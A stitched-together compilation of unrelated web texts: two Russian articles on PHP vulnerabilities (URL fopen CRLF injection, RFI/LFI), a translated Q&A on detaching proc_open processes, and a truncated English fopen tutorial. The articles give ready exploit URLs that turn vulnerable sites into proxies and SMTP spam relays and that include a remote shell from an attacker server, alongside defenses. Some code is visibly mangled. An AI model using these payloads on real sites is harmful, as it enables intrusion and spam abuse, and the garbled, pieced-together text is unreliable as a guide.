Открытие файлов и внешние данные. Потенциальная уязвимость php-скриптов

Функции fopen, file, include и require могут открывать файлы с других сайтов по протоколам http и ftp. Эта возможность несёт в себе потенциальную уязвимость в php-скриптах, позволяющую использовать сайт как прокси.

Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость - просто комбинация общеизвестных свойств php.

В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.

В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.

Уязвимость

Url fopen wrapper

Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих. Если имя файла начинается с "http://", сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr). Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную. Данная опция отключается в настройках php, параметр allow_url_fopen.

CR/LF в HTTP-запросах

Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова . Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".

Untrusted input

На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.

Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:

echo implode("", file(substr($REQUEST_URI, 1)));

От запроса отбрасывается первый символ - слэш - и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com: http ://n00b.programmer.com/http://example.com Другой вариант - все адреса на сайте имеют вид http://n00b.programmer.com/index.php?f=news В таком случае злоумышленник будет пробовать открыть адрес типа http://n00b.programmer.com/index.php?f=http://example.com Очень важно не доверять входящим данным и фильтровать при помощи регулярных выражений входящие запросы.

Эксплойт

Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом. Если злоумышленник откроет путь

Index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Host:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A то скрипт выполнит HTTP-запрос: GET example.com/ HTTP/1.0\r\n
Host: example.com\r\n
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Host: www.site1.st\r\n
User-Agent: PHP/4.1.2\r\n
\r\n

Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса. Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.

Умное использование эксплойта

Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег. Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство. Более прибыльное использование чужой машины как прокси - рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром :

Index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(должно быть одной строкой) модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:

GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
MAIL FROM: \r\n
RCPT TO: \r\n
DATA\r\n
i will never say the word PROCRASTINATE again\r\n
.\r\n
QUIT\r\n\r\n

HTTP/1.0\r\n
Host: mail.site1.st:25\r\n
User-Agent: PHP/4.1.2\r\n\r\n

PHP и почтовый сервер будут ругаться, но письмо будет отправлено. Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной. На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.

Меры защиты от эксплойта

Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.

Проверка журнала запросов

Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки. Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".

Настройка php

Самый простой способ отключить возможую уязвимость - запретить открывать URL через файловые функции. Если вы администратор своего сервера - запрещайте allow_url_fopen в настройках php. Если вы просто клиент - запретите у себя локально. В файле.htaccess для корня сайта напишите строку: php_value allow_url_fopen 0 Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value . Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.

Изменение кода

Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя. Придётся модифицировать код скриптов. Самый простой способ - искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://. Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты. В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.

Прекращение работы при оффенсивном запросе

Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси. Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле.htaccess в корне сайта я поставил такую строку:

RewriteRule ((%3A|:)25|%0D%0A) - [G]

При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.

Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки. В зависимости от разных условий оно может варьироваться.

Основы php-инъекций для новичков. ​


PHP-инъекция (англ. PHP injection) - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Нажмите, чтобы раскрыть...

(c)Wiki


Азы. ​

Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение.
При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит.

На пример:
Представим, что у нас имеется сайт, написанный на PHP.
Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы.
Код будет выглядить так:

$file = $_GET [ "page" ]; //Отображаемая страница
include($file );
?>

Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии:

http : //www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt?

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:

$file = "http://www.атакующий_серв.com/вредоносный_скрипт.txt?" ; //$_GET["page"];
include($file ); //$file - это внедренный злоумышленником скрипт
?>

Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.

Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include() позволяет запускать удаленные файлы.

Почему в примере был указан скрипт с расширением *.txt , а не *.php ?
Ответ прост, если бы скрипт имел формат *.php , он бы запустился на сервере злоумышленника, а не на целевой системе.

Так же был добавлен символ "? " в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере.
Пример:

$file = $_GET [ "page" ];
include($file . ".php" );
?>

Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include() .
Т.е.

http : //www.атакующий_серв.com/вредоносный_скрипт.txt

Превращается в

http : //www.атакующий_серв.com/вредоносный_скрипт.txt.php

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php )
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:

http : //www.атакующий_серв.com/вредоносный_скрипт.txt?.php

Но он остается исполняемым.

Проведение PHP-инъекций через уязвимость функции include(). ​

RFI - удаленный инклюд при PHP-инъекции.​


Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:

/ index . php ? page = main

Подставляем вместо main любое бредовое значение, например upyachka

/ index . php ? page = upyachka

В ответ получим ошибку:

Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www //page.php on line 3

Warning : main (upyachka . php ): failed to open stream : No such file or directory in / home / user / www / page . php on line 3

Warning : main (): Failed opening "upyachka.php" for inclusion (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear" ) in / home / user / www / page . php on line 3

Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)

http : //www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell

Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.

LFI - локальный инклюд при PHP-инъекции.​


Представим, что мы набрели на тот же уязвимый сайт

/ index . php ? file = main

С кодом

..
Include ("folder/ $page .htm" );

?>

Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:

/ index . php ? page =../ index . php

В следующем случае код выглядит вот таким образом:

..
Include (" $dir1 /folder/page.php" );

?>

В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:

http : //www.сайт_злоумышленника.com/folder/shell.php

Инъекция в таком случае будет выглядить так:

index . php ? dir1 = http : //www.сайт_злоумышленника.com/

Способы защиты


Рассмотрим скрипт:

...

include $module . ".php" ;
...
?>

Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл.

Существует несколько способов защиты от такой атаки:​


-Проверять, не содержит ли переменная $module посторонние символы:

...
$module = $_GET [ "module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
include $module . ".php" ;
...
?>

-Проверять, что $module присвоено одно из допустимых значений:
"/" , "" , $page ); // Блокируется возможность перехода в другие дирректории.
if (file_exists ("files/ $page .htm " ))
{
Include ("files/ $page .htm" );
}
Else
{
Echo
"error" ;
}

?>

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

При написании были использованы материалы из
Википедии,
с забугорного форума security-sh3ll (spl0it),
с форума Античат (GreenBear).
Отдельное спасибо Burt и f02 за помощь,
поддержку и благую критику)​

У меня было какое-то время в выходные, поэтому я сделал небольшое исследование по proc_open() на системах * nix.

В то время как proc_open() не блокирует выполнение PHP script, даже если shell script не запускается в фоновом режиме. PHP автоматически вызывает proc_close() после того, как PHP скрипт полностью выполняется, если вы его не вызываете. Итак, мы можем представить, что у нас всегда есть строка с proc_close() в конце script.

Проблема заключается в неочевидном, но логичном прообразе proc_close(). Предположим, что у нас есть script like:

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w")), $pipes); //Process some data outputted by our script, but not all data echo fread($pipes,100); //Don"t wait till scipt execution ended - exit //close pipes array_map("fclose",$pipes); //close process proc_close($proc);

Странно, proc_close(), ожидающий до завершения оболочки script, но наш script был вскоре прекращен. Это происходит потому, что мы закрыли каналы (кажется, что PHP делает это тихо, если мы забыли), так как этот script пытается что-то написать уже несуществующему трубу - он получает ошибку и завершает работу.

Теперь попробуем без труб (ну, будет, но они будут использовать текущий tty без ссылки на PHP):

$proc = proc_open("top -b -n 10000", array(), $pipes); proc_close($proc);

Теперь наш PHP script ждет завершения нашей оболочки script. Мы можем избежать этого? К счастью, PHP порождает сценарии оболочки с помощью

Sh -c "shell_script"

поэтому мы можем просто убить процесс sh и оставить наш script запущен:

$proc = proc_open("top -b -n 10000", array(), $pipes); $proc_status=proc_get_status($proc); exec("kill -9 ".$proc_status["pid"]); proc_close($proc);

Конечно, мы могли бы просто запустить этот процесс в фоновом режиме, например:

$proc = proc_open("top -b -n 10000 &", array(), $pipes); proc_close($proc);

и не имеет никаких проблем, но эта функция приводит нас к самому сложному вопросу: можем ли мы запустить процесс с proc_open(), прочитав некоторый вывод, а затем заставьте процесс заново? Ну, в некотором роде - да.

Основная проблема здесь - это трубы: мы не можем их закрыть или наш процесс умрет, но нам нужно, чтобы они прочитали полезные данные из этого процесса. Оказывается, здесь мы можем использовать магический трюк - gdb.

Сначала создайте файл где-нибудь (/usr/share/gdb_null_descr в моем примере) со следующим содержимым:

P dup2(open("/dev/null",0),1) p dup2(open("/dev/null",0),2)

Он скажет gdb изменить дескрипторы 1 и 2 (ну, как правило, stdout и stderr) для новых обработчиков файлов (/dev/null в этом примере, но вы можете его изменить).

Теперь, последнее: убедитесь, что gdb может подключаться к другим запущенным процессам - по умолчанию это относится к некоторым системам, но, например, на ubuntu 10.10 вам нужно установить /proc/sys/kernel/yama/ptrace _scope на 0, если вы не запускайте его как root.

$proc = proc_open("top -b -n 10000", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes); //Process some data outputted by our script, but not all data echo fread($pipes,100); $proc_status=proc_get_status($proc); //Find real pid of our process(we need to go down one step in process tree) $pid=trim(exec("ps h -o pid --ppid ".$proc_status["pid"])); //Kill parent sh process exec("kill -s 9 ".$proc_status["pid"]); //Change stdin/stdout handlers in our process exec("gdb -p ".$pid." --batch -x /usr/share/gdb_null_descr"); array_map("fclose",$pipes); proc_close($proc);

edit: Я забыл упомянуть, что PHP не запускает вашу оболочку script мгновенно, поэтому вам нужно немного подождать, прежде чем выполнять другие команды оболочки, но обычно это достаточно быстро (или PHP достаточно медленный), а я "л ленив, чтобы добавить эти проверки к моим примерам.

In this chapter we will teach you how to open, read, and close a file on the server.

PHP Open File - fopen()

A better method to open files is with the fopen() function. This function gives you more options than the readfile() function.

We will use the text file, "webdictionary.txt", during the lessons:

AJAX = Asynchronous JavaScript and XML
CSS = Cascading Style Sheets
HTML = Hyper Text Markup Language
PHP = PHP Hypertext Preprocessor
SQL = Structured Query Language
SVG = Scalable Vector Graphics
XML = EXtensible Markup Language

The first parameter of fopen() contains the name of the file to be opened and the second parameter specifies in which mode the file should be opened. The following example also generates a message if the fopen() function is unable to open the specified file:

Example


echo fread($myfile,filesize("webdictionary.txt"));
fclose($myfile);
?>

Run example »

Tip: The fread() and the fclose() functions will be explained below.

The file may be opened in one of the following modes:

Modes Description
r Open a file for read only
w Open a file for write only
a Open a file for write only
x Creates a new file for write only
r+ Open a file for read/write . File pointer starts at the beginning of the file
w+ Open a file for read/write . Erases the contents of the file or creates a new file if it doesn"t exist. File pointer starts at the beginning of the file
a+ Open a file for read/write . The existing data in file is preserved. File pointer starts at the end of the file. Creates a new file if the file doesn"t exist
x+ Creates a new file for read/write . Returns FALSE and an error if file already exists

PHP Read File - fread()

The fread() function reads from an open file.

The first parameter of fread() contains the name of the file to read from and the second parameter specifies the maximum number of bytes to read.

The following PHP code reads the "webdictionary.txt" file to the end:

Fread($myfile,filesize("webdictionary.txt"));

PHP Close File - fclose()

The fclose() function is used to close an open file.

It"s a good programming practice to close all files after you have finished with them. You don"t want an open file running around on your server taking up resources!

The fclose() requires the name of the file (or a variable that holds the filename) we want to close:

$myfile = fopen("webdictionary.txt", "r");
// some code to be executed....
fclose($myfile);
?>

PHP Read Single Line - fgets()

The fgets() function is used to read a single line from a file.

The example below outputs the first line of the "webdictionary.txt" file:

Note: After a call to the fgets() function, the file pointer has moved to the next line.

PHP Check End-Of-File - feof()

The feof() function checks if the "end-of-file" (EOF) has been reached.

The feof() function is useful for looping through data of unknown length.

The example below reads the "webdictionary.txt" file line by line, until end-of-file is reached:

Example

$myfile = fopen("webdictionary.txt", "r") or die("Unable to open file!");
// Output one line until end-of-file
while(!feof($myfile)) {
echo fgets($myfile) . "
";
}
fclose($myfile);
?>

Run example »

PHP Read Single Character - fgetc()

The fgetc() function is used to read a single character from a file.

The example below reads the "webdictionary.txt" file character by character, until end-of-file is reached:

Example

$myfile = fopen("webdictionary.txt", "r") or die("Unable to open file!");
// Output one character until end-of-file
while(!feof($myfile)) {
echo fgetc($myfile);
}
fclose($myfile);
?>

Run example »

Note: After a call to the fgetc() function, the file pointer moves to the next character.

Complete PHP Filesystem Reference

For a complete reference of filesystem functions, go to our complete